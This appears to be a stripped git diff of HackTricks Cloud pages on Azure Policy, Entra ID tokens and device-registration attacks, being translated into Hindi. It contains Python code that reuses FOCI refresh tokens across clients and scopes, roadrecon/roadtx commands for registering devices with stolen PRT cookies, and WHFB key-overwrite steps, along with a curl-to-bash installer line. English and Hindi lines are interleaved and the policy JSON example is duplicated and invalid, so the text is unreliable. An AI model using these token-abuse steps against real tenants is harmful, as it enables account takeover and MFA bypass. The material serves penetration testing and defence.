6. **स्वचालित रूप से सुरक्षा सेटिंग्स लागू करना**: नीतियों का उपयोग resources पर सुरक्षा सेटिंग्स को स्वचालित रूप से लागू करने के लिए किया जा सकता है, जैसे सभी VMs पर एक विशिष्ट नेटवर्क सुरक्षा समूह लागू करना या यह सुनिश्चित करना कि सभी स्टोरेज खाते एन्क्रिप्शन का उपयोग करें।
Note that Azure Policies can be attached to any level of the Azure hierarchy, but they are **commonly used in the root management group** or in other management groups.
ध्यान दें कि Azure Policies को Azure की किसी भी स्तर पर जोड़ा जा सकता है, लेकिन वे **आमतौर पर root management group** या अन्य management groups में उपयोग की जाती हैं।
Azure policy json example:
```json
{
"policyRule": {
"if": {
"field": "location",
"notIn": ["eastus", "westus"]
},
"then": {
"effect": "Deny"
}
},
"parameters": {},
"displayName": "Allow resources only in East US and West US",
"description": "This policy ensures that resources can only be created in East US or West US.",
"mode": "All"
"policyRule": {
"if": {
"field": "location",
"notIn": ["eastus", "westus"]
},
"then": {
"effect": "Deny"
}
},
"parameters": {},
"displayName": "Allow resources only in East US and West US",
"description": "This policy ensures that resources can only be created in East US or West US.",
"mode": "All"
}
```
### Permissions Inheritance
In Azure **permissions are can be assigned to any part of the hierarchy**. That includes management groups, subscriptions, resource groups, and individual resources. Permissions are **inherited** by contained **resources** of the entity where they were assigned.
@@ -379,7 +375,3 @@ You **cannot** explicitly **deny** **access** to specific resources **using cond
- [https://stackoverflow.com/questions/65922566/what-are-the-differences-between-service-principal-and-app-registration](https://stackoverflow.com/questions/65922566/what-are-the-differences-between-service-principal-and-app-registration)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,98 +4,97 @@
## Basic Information
Entra ID is Microsoft's cloud-based identity and access management (IAM) platform, serving as the foundational authentication and authorization system for services like Microsoft 365 and Azure Resource Manager. Azure AD implements the OAuth 2.0 authorization framework and the OpenID Connect (OIDC) authentication protocol to manage access to resources.
Entra ID माइक्रोसॉफ्ट का क्लाउड-आधारित पहचान और पहुंच प्रबंधन (IAM) प्लेटफ़ॉर्म है, जो Microsoft 365 और Azure Resource Manager जैसी सेवाओं के लिए मौलिक प्रमाणीकरण और प्राधिकरण प्रणाली के रूप में कार्य करता है। Azure AD OAuth 2.0 प्राधिकरण ढांचे और OpenID Connect (OIDC) प्रमाणीकरण प्रोटोकॉल को संसाधनों तक पहुंच प्रबंधित करने के लिए लागू करता है।
### OAuth
**Key Participants in OAuth 2.0:**
**OAuth 2.0 में प्रमुख प्रतिभागी:**
1. **Resource Server (RS):** Protects resources owned by the resource owner.
2. **Resource Owner (RO):** Typically an end-user who owns the protected resources.
3. **Client Application (CA):** An application seeking access to resources on behalf of the resource owner.
4. **Authorization Server (AS):** Issues access tokens to client applications after authenticating and authorizing them.
1. **Resource Server (RS):** संसाधनों की रक्षा करता है जो संसाधन मालिक के पास हैं।
2. **Resource Owner (RO):** आमतौर पर एक अंतिम उपयोगकर्ता जो संरक्षित संसाधनों का मालिक होता है।
3. **Client Application (CA):** एक एप्लिकेशन जो संसाधन मालिक की ओर से संसाधनों तक पहुंच प्राप्त करने का प्रयास करता है।
4. **Authorization Server (AS):** प्रमाणीकरण और प्राधिकरण के बाद क्लाइंट एप्लिकेशनों को एक्सेस टोकन जारी करता है।
**Scopes and Consent:**
**Scopes और Consent:**
- **Scopes:** Granular permissions defined on the resource server that specify access levels.
- **Consent:** The process by which a resource owner grants a client application permission to access resources with specific scopes.
- **Scopes:** संसाधन सर्वर पर परिभाषित सूक्ष्म अनुमतियाँ जो पहुँच स्तर निर्दिष्ट करती हैं।
- **Consent:** वह प्रक्रिया जिसके द्वारा एक संसाधन मालिक एक क्लाइंट एप्लिकेशन को विशिष्ट स्कोप के साथ संसाधनों तक पहुँच प्राप्त करने की अनुमति देता है।
**Microsoft 365 Integration:**
- Microsoft 365 utilizes Azure AD for IAM and is composed of multiple "first-party" OAuth applications.
- These applications are deeply integrated and often have interdependent service relationships.
- To simplify user experience and maintain functionality, Microsoft grants "implied consent" or "pre-consent" to these first-party applications.
- **Implied Consent:** Certain applications are automatically **granted access to specific scopes without explicit user or administrator approva**l.
- These pre-consented scopes are typically hidden from both users and administrators, making them less visible in standard management interfaces.
- Microsoft 365 IAM के लिए Azure AD का उपयोग करता है और इसमें कई "पहली-पार्टी" OAuth एप्लिकेशन शामिल हैं।
- ये एप्लिकेशन गहराई से एकीकृत होते हैं और अक्सर आपस में निर्भर सेवा संबंध होते हैं।
- उपयोगकर्ता अनुभव को सरल बनाने और कार्यक्षमता बनाए रखने के लिए, माइक्रोसॉफ्ट इन पहली-पार्टी एप्लिकेशनों को "अर्थित सहमति" या "पूर्व-सहमति" प्रदान करता है।
- **Implied Consent:** कुछ एप्लिकेशनों को बिना स्पष्ट उपयोगकर्ता या प्रशासक अनुमोदन के विशिष्ट स्कोप तक पहुँच **स्वतः प्रदान की जाती है**
- ये पूर्व-सहमति वाले स्कोप आमतौर पर उपयोगकर्ताओं और प्रशासकों दोनों से छिपे होते हैं, जिससे वे मानक प्रबंधन इंटरफेस में कम दिखाई देते हैं।
**Client Application Types:**
1. **Confidential Clients:**
- Possess their own credentials (e.g., passwords or certificates).
- Can **securely authenticate themselves** to the authorization server.
- अपने स्वयं के क्रेडेंशियल्स (जैसे, पासवर्ड या प्रमाणपत्र) रखते हैं।
- प्राधिकरण सर्वर के लिए **सुरक्षित रूप से प्रमाणीकरण** कर सकते हैं।
2. **Public Clients:**
- Do not have unique credentials.
- Cannot securely authenticate to the authorization server.
- **Security Implication:** An attacker can impersonate a public client application when requesting tokens, as there is no mechanism for the authorization server to verify the legitimacy of the application.
- अद्वितीय क्रेडेंशियल्स नहीं होते हैं।
- प्राधिकरण सर्वर के लिए सुरक्षित रूप से प्रमाणीकरण नहीं कर सकते हैं।
- **Security Implication:** एक हमलावर टोकन मांगते समय एक सार्वजनिक क्लाइंट एप्लिकेशन का अनुकरण कर सकता है, क्योंकि प्राधिकरण सर्वर के लिए एप्लिकेशन की वैधता की पुष्टि करने का कोई तंत्र नहीं है।
## Authentication Tokens
There are **three types of tokens** used in OIDC:
OIDC में **तीन प्रकार के टोकन** होते हैं:
- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** The client presents this token to the resource server to **access resources**. It can be used only for a specific combination of user, client, and resource and **cannot be revoked** until expiry - that is 1 hour by default.
- **ID Tokens**: The client receives this **token from the authorization server**. It contains basic information about the user. It is **bound to a specific combination of user and client**.
- **Refresh Tokens**: Provided to the client with access token. Used to **get new access and ID tokens**. It is bound to a specific combination of user and client and can be revoked. Default expiry is **90 days** for inactive refresh tokens and **no expiry for active tokens** (be from a refresh token is possible to get new refresh tokens).
- A refresh token should be tied to an **`aud`** , to some **scopes**, and to a **tenant** and it should only be able to generate access tokens for that aud, scopes (and no more) and tenant. However, this is not the case with **FOCI applications tokens**.
- A refresh token is encrypted and only Microsoft can decrypt it.
- Getting a new refresh token doesn't revoke the previous refresh token.
- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** क्लाइंट इस टोकन को संसाधन सर्वर को **संसाधनों तक पहुँचने** के लिए प्रस्तुत करता है। इसे केवल उपयोगकर्ता, क्लाइंट और संसाधन के विशिष्ट संयोजन के लिए उपयोग किया जा सकता है और **समाप्ति तक रद्द नहीं किया जा सकता** - जो कि डिफ़ॉल्ट रूप से 1 घंटा है।
- **ID Tokens**: क्लाइंट को यह **टोकन प्राधिकरण सर्वर से प्राप्त होता है**। इसमें उपयोगकर्ता के बारे में बुनियादी जानकारी होती है। यह **उपयोगकर्ता और क्लाइंट के विशिष्ट संयोजन से बंधा होता है**
- **Refresh Tokens**: एक्सेस टोकन के साथ क्लाइंट को प्रदान किया जाता है। इसका उपयोग **नए एक्सेस और ID टोकन प्राप्त करने** के लिए किया जाता है। यह उपयोगकर्ता और क्लाइंट के विशिष्ट संयोजन से बंधा होता है और इसे रद्द किया जा सकता है। डिफ़ॉल्ट समाप्ति **90 दिन** है निष्क्रिय रिफ्रेश टोकन के लिए और **सक्रिय टोकन के लिए कोई समाप्ति नहीं** (एक रिफ्रेश टोकन से नए रिफ्रेश टोकन प्राप्त करना संभव है)।
- एक रिफ्रेश टोकन को एक **`aud`** से, कुछ **scopes** से, और एक **tenant** से बंधा होना चाहिए और इसे केवल उस aud, scopes (और अधिक नहीं) और tenant के लिए एक्सेस टोकन उत्पन्न करने में सक्षम होना चाहिए। हालाँकि, यह **FOCI एप्लिकेशन टोकन** के साथ ऐसा नहीं है।
- एक रिफ्रेश टोकन एन्क्रिप्टेड होता है और केवल माइक्रोसॉफ्ट इसे डिक्रिप्ट कर सकता है।
- नया रिफ्रेश टोकन प्राप्त करने से पिछले रिफ्रेश टोकन रद्द नहीं होता है।
> [!WARNING]
> Information for **conditional access** is **stored** inside the **JWT**. So, if you request the **token from an allowed IP address**, that **IP** will be **stored** in the token and then you can use that token from a **non-allowed IP to access the resources**.
> **Conditional access** के लिए जानकारी **JWT** के अंदर **स्टोर** की जाती है। इसलिए, यदि आप **अनुमत IP पते** से **टोकन का अनुरोध करते हैं**, तो वह **IP** टोकन में **स्टोर** किया जाएगा और फिर आप उस टोकन का उपयोग **गैर-अनुमत IP से संसाधनों तक पहुँचने** के लिए कर सकते हैं।
### Access Tokens "aud"
The field indicated in the "aud" field is the **resource server** (the application) used to perform the login.
"aud" फ़ील्ड में निर्दिष्ट फ़ील्ड **resource server** (एप्लिकेशन) है जिसका उपयोग लॉगिन करने के लिए किया जाता है।
The command `az account get-access-token --resource-type [...]` supports the following types and each of them will add a specific "aud" in the resulting access token:
कमांड `az account get-access-token --resource-type [...]` निम्नलिखित प्रकारों का समर्थन करता है और इनमें से प्रत्येक परिणामस्वरूप एक्सेस टोकन में एक विशिष्ट "aud" जोड़ेगा:
> [!CAUTION]
> Note that the following are just the APIs supported by `az account get-access-token` but there are more.
> ध्यान दें कि निम्नलिखित केवल `az account get-access-token` द्वारा समर्थित APIs हैं लेकिन और भी हैं।
<details>
<summary>aud examples</summary>
<summary>aud उदाहरण</summary>
- **aad-graph (Azure Active Directory Graph API)**: Used to access the legacy Azure AD Graph API (deprecated), which allows applications to read and write directory data in Azure Active Directory (Azure AD).
- `https://graph.windows.net/`
- **aad-graph (Azure Active Directory Graph API)**: पुराने Azure AD Graph API (deprecated) तक पहुँचने के लिए उपयोग किया जाता है, जो एप्लिकेशनों को Azure Active Directory (Azure AD) में निर्देशिका डेटा पढ़ने और लिखने की अनुमति देता है।
- `https://graph.windows.net/`
* **arm (Azure Resource Manager)**: Used to manage Azure resources through the Azure Resource Manager API. This includes operations like creating, updating, and deleting resources such as virtual machines, storage accounts, and more.
- `https://management.core.windows.net/ or https://management.azure.com/`
* **arm (Azure Resource Manager)**: Azure Resource Manager API के माध्यम से Azure संसाधनों का प्रबंधन करने के लिए उपयोग किया जाता है। इसमें वर्चुअल मशीनों, स्टोरेज खातों, और अधिक जैसे संसाधनों को बनाने, अपडेट करने और हटाने जैसी क्रियाएँ शामिल हैं।
- `https://management.core.windows.net/ or https://management.azure.com/`
- **batch (Azure Batch Services)**: Used to access Azure Batch, a service that enables large-scale parallel and high-performance computing applications efficiently in the cloud.
- `https://batch.core.windows.net/`
- **batch (Azure Batch Services)**: Azure Batch तक पहुँचने के लिए उपयोग किया जाता है, जो क्लाउड में बड़े पैमाने पर समानांतर और उच्च-प्रदर्शन कंप्यूटिंग एप्लिकेशनों को कुशलतापूर्वक सक्षम करता है।
- `https://batch.core.windows.net/`
* **data-lake (Azure Data Lake Storage)**: Used to interact with Azure Data Lake Storage Gen1, which is a scalable data storage and analytics service.
- `https://datalake.azure.net/`
* **data-lake (Azure Data Lake Storage)**: Azure Data Lake Storage Gen1 के साथ बातचीत करने के लिए उपयोग किया जाता है, जो एक स्केलेबल डेटा स्टोरेज और एनालिटिक्स सेवा है।
- `https://datalake.azure.net/`
- **media (Azure Media Services)**: Used to access Azure Media Services, which provide cloud-based media processing and delivery services for video and audio content.
- `https://rest.media.azure.net`
- **media (Azure Media Services)**: Azure Media Services तक पहुँचने के लिए उपयोग किया जाता है, जो वीडियो और ऑडियो सामग्री के लिए क्लाउड-आधारित मीडिया प्रसंस्करण और वितरण सेवाएँ प्रदान करता है।
- `https://rest.media.azure.net`
* **ms-graph (Microsoft Graph API)**: Used to access the Microsoft Graph API, the unified endpoint for Microsoft 365 services data. It allows you to access data and insights from services like Azure AD, Office 365, Enterprise Mobility, and Security services.
- `https://graph.microsoft.com`
* **ms-graph (Microsoft Graph API)**: Microsoft Graph API तक पहुँचने के लिए उपयोग किया जाता है, जो Microsoft 365 सेवाओं के डेटा के लिए एकीकृत एंडपॉइंट है। यह आपको Azure AD, Office 365, Enterprise Mobility, और Security सेवाओं जैसे सेवाओं से डेटा और अंतर्दृष्टि तक पहुँचने की अनुमति देता है।
- `https://graph.microsoft.com`
- **oss-rdbms (Azure Open Source Relational Databases)**: Used to access Azure Database services for open-source relational database engines like MySQL, PostgreSQL, and MariaDB.
- `https://ossrdbms-aad.database.windows.net`
- **oss-rdbms (Azure Open Source Relational Databases)**: MySQL, PostgreSQL, और MariaDB जैसे ओपन-सोर्स रिलेशनल डेटाबेस इंजनों के लिए Azure Database सेवाओं तक पहुँचने के लिए उपयोग किया जाता है।
- `https://ossrdbms-aad.database.windows.net`
</details>
### Access Tokens Scopes "scp"
The scope of an access token is stored inside the scp key inside the access token JWT. These scopes define what the access token has access to.
एक एक्सेस टोकन का स्कोप एक्सेस टोकन JWT के अंदर scp कुंजी के अंदर स्टोर किया जाता है। ये स्कोप परिभाषित करते हैं कि एक्सेस टोकन को क्या पहुँच प्राप्त है।
If a JWT is allowed to contact an specific API but **doesn't have the scope** to perform the requested action, it **won't be able to perform the action** with that JWT.
यदि एक JWT को एक विशिष्ट API से संपर्क करने की अनुमति है लेकिन **अनुरोधित क्रिया** को करने के लिए **स्कोप नहीं है**, तो यह उस JWT के साथ क्रिया करने में **असफल रहेगा**
### Get refresh & access token example
```python
# Code example from https://github.com/secureworks/family-of-client-ids-research
import msal
@@ -107,17 +106,17 @@ from typing import Any, Dict, List
# LOGIN VIA CODE FLOW AUTHENTICATION
azure_cli_client = msal.PublicClientApplication(
"04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client
"04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client
)
device_flow = azure_cli_client.initiate_device_flow(
scopes=["https://graph.microsoft.com/.default"]
scopes=["https://graph.microsoft.com/.default"]
)
print(device_flow["message"])
# Perform device code flow authentication
azure_cli_bearer_tokens_for_graph_api = azure_cli_client.acquire_token_by_device_flow(
device_flow
device_flow
)
pprint(azure_cli_bearer_tokens_for_graph_api)
@@ -125,83 +124,74 @@ pprint(azure_cli_bearer_tokens_for_graph_api)
# DECODE JWT
def decode_jwt(base64_blob: str) -> Dict[str, Any]:
"""Decodes base64 encoded JWT blob"""
return jwt.decode(
base64_blob, options={"verify_signature": False, "verify_aud": False}
)
"""Decodes base64 encoded JWT blob"""
return jwt.decode(
base64_blob, options={"verify_signature": False, "verify_aud": False}
)
decoded_access_token = decode_jwt(
azure_cli_bearer_tokens_for_graph_api.get("access_token")
azure_cli_bearer_tokens_for_graph_api.get("access_token")
)
pprint(decoded_access_token)
# GET NEW ACCESS TOKEN AND REFRESH TOKEN
new_azure_cli_bearer_tokens_for_graph_api = (
# Same client as original authorization
azure_cli_client.acquire_token_by_refresh_token(
azure_cli_bearer_tokens_for_graph_api.get("refresh_token"),
# Same scopes as original authorization
scopes=["https://graph.microsoft.com/.default"],
)
# Same client as original authorization
azure_cli_client.acquire_token_by_refresh_token(
azure_cli_bearer_tokens_for_graph_api.get("refresh_token"),
# Same scopes as original authorization
scopes=["https://graph.microsoft.com/.default"],
)
)
pprint(new_azure_cli_bearer_tokens_for_graph_api)
```
## FOCI Tokens Privilege Escalation
Previously it was mentioned that refresh tokens should be tied to the **scopes** it was generated with, to the **application** and **tenant** it was generated to. If any of these boundaries is broken, it's possible to escalate privileges as it will be possible to generate access tokens to other resources and tenants the user has access to and with more scopes than it was originally intended.
पहले उल्लेख किया गया था कि रिफ्रेश टोकन को **स्कोप** से जोड़ा जाना चाहिए जिसके साथ इसे उत्पन्न किया गया था, **एप्लिकेशन** और **टेनेंट** से जिसे यह उत्पन्न किया गया था। यदि इनमें से कोई भी सीमा टूटती है, तो विशेषाधिकार बढ़ाना संभव है क्योंकि अन्य संसाधनों और टेनेंट के लिए एक्सेस टोकन उत्पन्न करना संभव होगा जिन तक उपयोगकर्ता की पहुंच है और जिनमें मूल रूप से निर्धारित से अधिक स्कोप हैं।
Moreover, **this is possible with all refresh tokens** in the [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) because as the [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) mention: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."
इसके अलावा, **यह सभी रिफ्रेश टोकनों के साथ संभव है** [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra खाते, Microsoft व्यक्तिगत खाते, और Facebook और Google जैसे सामाजिक खाते) क्योंकि [**दस्तावेज़**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) में उल्लेख किया गया है: "रिफ्रेश टोकन उपयोगकर्ता और क्लाइंट के संयोजन से बंधे होते हैं, लेकिन **किसी संसाधन या टेनेंट से जुड़े नहीं होते**। एक क्लाइंट रिफ्रेश टोकन का उपयोग करके एक्सेस टोकन प्राप्त कर सकता है **किसी भी संसाधन और टेनेंट के संयोजन में** जहां उसे ऐसा करने की अनुमति है। रिफ्रेश टोकन एन्क्रिप्टेड होते हैं और केवल Microsoft identity platform उन्हें पढ़ सकता है।"
Moreover, note that the FOCI applications are public applications, so **no secret is needed** to authenticate to the server.
इसके अलावा, ध्यान दें कि FOCI एप्लिकेशन सार्वजनिक एप्लिकेशन हैं, इसलिए **सर्वर पर प्रमाणीकरण के लिए कोई रहस्य आवश्यक नहीं है**
Then known FOCI clients reported in the [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) can be [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv).
फिर ज्ञात FOCI क्लाइंट्स [**मूल शोध**](https://github.com/secureworks/family-of-client-ids-research/tree/main) में रिपोर्ट किए गए हैं, जिन्हें [**यहां पाया जा सकता है**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv)
### Get different scope
Following with the previous example code, in this code it's requested a new token for a different scope:
पिछले उदाहरण कोड के साथ आगे बढ़ते हुए, इस कोड में एक अलग स्कोप के लिए एक नया टोकन मांगा गया है:
```python
# Code from https://github.com/secureworks/family-of-client-ids-research
azure_cli_bearer_tokens_for_outlook_api = (
# Same client as original authorization
azure_cli_client.acquire_token_by_refresh_token(
new_azure_cli_bearer_tokens_for_graph_api.get(
"refresh_token"
),
# But different scopes than original authorization
scopes=[
"https://outlook.office.com/.default"
],
)
# Same client as original authorization
azure_cli_client.acquire_token_by_refresh_token(
new_azure_cli_bearer_tokens_for_graph_api.get(
"refresh_token"
),
# But different scopes than original authorization
scopes=[
"https://outlook.office.com/.default"
],
)
)
pprint(azure_cli_bearer_tokens_for_outlook_api)
```
### Get different client and scopes
### विभिन्न क्लाइंट और स्कोप प्राप्त करें
```python
# Code from https://github.com/secureworks/family-of-client-ids-research
microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c")
microsoft_office_bearer_tokens_for_graph_api = (
# This is a different client application than we used in the previous examples
microsoft_office_client.acquire_token_by_refresh_token(
# But we can use the refresh token issued to our original client application
azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"),
# And request different scopes too
scopes=["https://graph.microsoft.com/.default"],
)
# This is a different client application than we used in the previous examples
microsoft_office_client.acquire_token_by_refresh_token(
# But we can use the refresh token issued to our original client application
azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"),
# And request different scopes too
scopes=["https://graph.microsoft.com/.default"],
)
)
# How is this possible?
pprint(microsoft_office_bearer_tokens_for_graph_api)
```
## References
## संदर्भ
- [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,18 +4,16 @@
## Basic Information
When a device joins AzureAD a new object is created in AzureAD.
जब एक डिवाइस AzureAD में शामिल होता है, तो AzureAD में एक नया ऑब्जेक्ट बनाया जाता है।
When registering a device, the **user is asked to login with his account** (asking for MFA if needed), then it request tokens for the device registration service and then ask a final confirmation prompt.
जब एक डिवाइस को पंजीकृत किया जाता है, तो **उपयोगकर्ता से उसके खाते के साथ लॉगिन करने के लिए कहा जाता है** (यदि आवश्यक हो तो MFA के लिए पूछना), फिर यह डिवाइस पंजीकरण सेवा के लिए टोकन का अनुरोध करता है और फिर अंतिम पुष्टि संकेत के लिए पूछता है।
Then, two RSA keypairs are generated in the device: The **device key** (**public** key) which is sent to **AzureAD** and the **transport** key (**private** key) which is stored in TPM if possible.
Then, the **object** is generated in **AzureAD** (not in Intune) and AzureAD gives back to the device a **certificate** signed by it. You can check that the **device is AzureAD joined** and info about the **certificate** (like if it's protected by TPM).:
फिर, डिवाइस में दो RSA की जोड़े उत्पन्न होते हैं: **डिवाइस कुंजी** (**सार्वजनिक** कुंजी) जिसे **AzureAD** को भेजा जाता है और **परिवहन** कुंजी (**निजी** कुंजी) जिसे यदि संभव हो तो TPM में संग्रहीत किया जाता है।
फिर, **ऑब्जेक्ट** **AzureAD** में उत्पन्न होता है (Intune में नहीं) और AzureAD डिवाइस को एक **प्रमाणपत्र** वापस देता है जिसे उसने हस्ताक्षरित किया है। आप यह जांच सकते हैं कि **डिवाइस AzureAD से जुड़ा है** और **प्रमाणपत्र** के बारे में जानकारी (जैसे कि क्या यह TPM द्वारा सुरक्षित है)।
```bash
dsregcmd /status
```
After the device registration a **Primary Refresh Token** is requested by the LSASS CloudAP module and given to the device. With the PRT is also delivered the **session key encrypted so only the device can decrypt it** (using the public key of the transport key) and it's **needed to use the PRT.**
For more information about what is a PRT check:
@@ -26,8 +24,8 @@ az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
### TPM - Trusted Platform Module
The **TPM** **protects** against key **extraction** from a powered down device (if protected by PIN) nd from extracting the private material from the OS layer.\
But it **doesn't protect** against **sniffing** the physical connection between the TPM and CPU or **using the cryptograpic material** in the TPM while the system is running from a process with **SYSTEM** rights.
The **TPM** **की रक्षा करता है** against key **निकासी** from a powered down device (if protected by PIN) nd from extracting the private material from the OS layer.\
But it **की रक्षा नहीं करता** against **sniffing** the physical connection between the TPM and CPU or **using the cryptographic material** in the TPM while the system is running from a process with **SYSTEM** rights.
If you check the following page you will see that **stealing the PRT** can be used to access like a the **user**, which is great because the **PRT is located devices**, so it can be stolen from them (or if not stolen abused to generate new signing keys):
@@ -38,7 +36,6 @@ az-lateral-movement-cloud-on-prem/pass-the-prt.md
## Registering a device with SSO tokens
It would be possible for an attacker to request a token for the Microsoft device registration service from the compromised device and register it:
```bash
# Initialize SSO flow
roadrecon auth prt-init
@@ -50,49 +47,46 @@ roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie <cookie>
# Custom pyhton script to register a device (check roadtx)
registerdevice.py
```
Which will give you a **certificate you can use to ask for PRTs in the future**. Therefore maintaining persistence and **bypassing MFA** because the original PRT token used to register the new device **already had MFA permissions granted**.
जो आपको **प्रमाणपत्र देगा जिसका उपयोग आप भविष्य में PRTs के लिए पूछने के लिए कर सकते हैं**। इसलिए स्थिरता बनाए रखना और **MFA को बायपास करना** क्योंकि नए डिवाइस को पंजीकृत करने के लिए उपयोग किया गया मूल PRT टोकन **पहले से ही MFA अनुमतियाँ दी गई थीं**
> [!TIP]
> Note that to perform this attack you will need permissions to **register new devices**. Also, registering a device doesn't mean the device will be **allowed to enrol into Intune**.
> ध्यान दें कि इस हमले को करने के लिए आपको **नए उपकरणों को पंजीकृत करने** की अनुमति की आवश्यकता होगी। इसके अलावा, एक उपकरण को पंजीकृत करना यह नहीं दर्शाता कि उपकरण **Intune में नामांकित होने की अनुमति दी जाएगी**
> [!CAUTION]
> This attack was fixed in September 2021 as you can no longer register new devices using a SSO tokens. However, it's still possible to register devices in a legit way (having username, password and MFA if needed). Check: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md).
> यह हमला सितंबर 2021 में ठीक किया गया था क्योंकि आप अब SSO टोकन का उपयोग करके नए उपकरणों को पंजीकृत नहीं कर सकते। हालाँकि, एक वैध तरीके से उपकरणों को पंजीकृत करना अभी भी संभव है (यदि आवश्यक हो तो उपयोगकर्ता नाम, पासवर्ड और MFA होना)। जांचें: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md)
## Overwriting a device ticket
## एक डिवाइस टिकट को ओवरराइट करना
It was possible to **request a device ticket**, **overwrite** the current one of the device, and during the flow **steal the PRT** (so no need to steal it from the TPM. For more info [**check this talk**](https://youtu.be/BduCn8cLV1A).
यह संभव था कि **एक डिवाइस टिकट का अनुरोध करें**, **वर्तमान को ओवरराइट करें** और प्रवाह के दौरान **PRT चुराएं** (इसलिए TPM से इसे चुराने की आवश्यकता नहीं है। अधिक जानकारी के लिए [**इस वार्ता की जांच करें**](https://youtu.be/BduCn8cLV1A)
<figure><img src="../../images/image (32).png" alt=""><figcaption></figcaption></figure>
> [!CAUTION]
> However, this was fixed.
> हालाँकि, इसे ठीक कर दिया गया था।
## Overwrite WHFB key
## WHFB कुंजी को ओवरराइट करें
[**Check the original slides here**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf)
[**यहाँ मूल स्लाइड देखें**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf)
Attack summary:
हमले का सारांश:
- It's possible to **overwrite** the **registered WHFB** key from a **device** via SSO
- It **defeats TPM protection** as the key is **sniffed during the generation** of the new key
- This also provides **persistence**
- यह संभव है कि **SSO के माध्यम से एक डिवाइस से **पंजीकृत WHFB** कुंजी को **ओवरराइट** करें
- यह **TPM सुरक्षा को पराजित करता है** क्योंकि कुंजी **नई कुंजी के निर्माण के दौरान स्निफ की जाती है**
- यह **स्थिरता** भी प्रदान करता है
<figure><img src="../../images/image (34).png" alt=""><figcaption></figcaption></figure>
Users can modify their own searchableDeviceKey property via the Azure AD Graph, however, the attacker needs to have a device in the tenant (registered on the fly or having stolen cert + key from a legit device) and a valid access token for the AAD Graph.
Then, it's possible to generate a new key with:
उपयोगकर्ता Azure AD ग्राफ़ के माध्यम से अपनी स्वयं की searchableDeviceKey संपत्ति को संशोधित कर सकते हैं, हालाँकि, हमलावर के पास टेनेट में एक उपकरण होना चाहिए (फ्लाई पर पंजीकृत या एक वैध उपकरण से प्रमाणपत्र + कुंजी चुराई गई) और AAD ग्राफ़ के लिए एक मान्य एक्सेस टोकन होना चाहिए।
फिर, यह एक नई कुंजी उत्पन्न करना संभव है:
```bash
roadtx genhellokey -d <device id> -k tempkey.key
```
and then PATCH the information of the searchableDeviceKey:
और फिर searchableDeviceKey की जानकारी को PATCH करें:
<figure><img src="../../images/image (36).png" alt=""><figcaption></figcaption></figure>
It's possible to get an access token from a user via **device code phishing** and abuse the previous steps to **steal his access**. For more information check:
एक उपयोगकर्ता से **device code phishing** के माध्यम से एक एक्सेस टोकन प्राप्त करना संभव है और पिछले चरणों का दुरुपयोग करके **उसकी एक्सेस चुराना**। अधिक जानकारी के लिए देखें:
{{#ref}}
az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md
@@ -100,14 +94,10 @@ az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-en
<figure><img src="../../images/image (37).png" alt=""><figcaption></figcaption></figure>
## References
## संदर्भ
- [https://youtu.be/BduCn8cLV1A](https://youtu.be/BduCn8cLV1A)
- [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g)
- [https://www.youtube.com/watch?v=AFay_58QubY](https://www.youtube.com/watch?v=AFay_58QubY)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,10 +2,10 @@
{{#include ../../banners/hacktricks-training.md}}
## Install PowerShell in Linux
## Linux में PowerShell स्थापित करें
> [!TIP]
> In linux you will need to install PowerShell Core:
> Linux में आपको PowerShell Core स्थापित करने की आवश्यकता होगी:
>
> ```bash
> sudo apt-get update
@@ -14,11 +14,11 @@
> # Ubuntu 20.04
> wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb
>
> # Update repos
> # रिपॉजिटरी अपडेट करें
> sudo apt-get update
> sudo add-apt-repository universe
>
> # Install & start powershell
> # PowerShell स्थापित करें और शुरू करें
> sudo apt-get install -y powershell
> pwsh
>
@@ -26,58 +26,47 @@
> curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
> ```
## Install PowerShell in MacOS
## MacOS में PowerShell स्थापित करें
Instructions from the [**documentation**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4):
1. Install `brew` if not installed yet:
